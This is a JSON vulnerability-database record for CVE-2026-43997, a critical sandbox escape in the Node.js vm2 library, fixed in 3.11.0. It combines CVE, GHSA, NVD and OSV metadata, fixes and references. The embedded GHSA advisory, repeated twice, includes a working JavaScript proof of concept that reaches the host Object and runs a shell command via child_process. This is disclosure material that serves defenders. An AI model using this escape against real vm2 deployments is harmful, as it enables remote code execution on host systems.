{"id":"CVE-2026-43997","aliases":["CLSA-2026-1787860907","EUVD-2026-30067","GHSA-2cm2-m3w5-gp2f","GHSA-47x8-96vw-5wg6","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-43997"],"status":"published","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00976,"percentile":0.62392,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-653","CWE-94"],"published":"2026-05-07T04:00:19Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.9.7-aikido.5","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.2","3.10.5-root.io.3","3.10.5-root.io.4","3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.9.7-root.io.5","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.5"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.2"},{"fixed":"3.10.5-root.io.3"},{"fixed":"3.10.5-root.io.4"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.1"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-43997","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477203","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43997.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50850","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43997","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-47x8-96vw-5wg6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43997.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-43997","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:17:54.869Z","modified":"2026-09-07T12:05:08.283Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-94","CWE-653"],"updated_at":"2026-11-02T13:37:25.103021Z"}],"euvd":[{"id":"EUVD-2026-30067","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:17:54Z","modified":"2026-09-07T12:05:08Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T17:28:30.668645Z"}],"ghsa":[{"id":"GHSA-47x8-96vw-5wg6","title":"vm2 Access to Host Object Enables Sandbox Escape","description":"### Summary\n\nIt is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.\n\n### Details\n\nThere are various ways to use the host `Object`, to escape the sandbox, one example would be using  `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`\n\n### PoC\n\n```js\nconst g = {}.__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, ['__proto__']]);\nconst o = p.call(p.call(a));\nconst HObject = o.constructor;\nsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\nconst obj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor(\"return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})\")();\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\n\nSandbox Escape -\u003e RCE","status":"published","published":"2026-05-07T04:00:19Z","modified":"2026-05-14T20:36:29Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:09.033429Z"}],"nvd":[{"id":"CVE-2026-43997","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T18:16:16.177Z","modified":"2026-10-26T17:10:03.27Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-653"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-43997","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:17:54.869Z","modified":"2026-10-28T02:31:10.651646463Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-47x8-96vw-5wg6","title":"vm2 Access to Host Object Enables Sandbox Escape","description":"### Summary\n\nIt is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.\n\n### Details\n\nThere are various ways to use the host `Object`, to escape the sandbox, one example would be using  `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`\n\n### PoC\n\n```js\nconst g = {}.__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, ['__proto__']]);\nconst o = p.call(p.call(a));\nconst HObject = o.constructor;\nsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\nconst obj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor(\"return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})\")();\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\n\nSandbox Escape -\u003e RCE","status":"published","published":"2026-05-07T04:00:19Z","modified":"2026-05-14T20:47:29.697869Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:36.782754Z"},{"id":"ROOT-APP-NPM-CVE-2026-43997","title":"CVE-2026-43997 in vm2 - Patched by Root","description":"Root has patched CVE-2026-43997 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:27.124414562Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}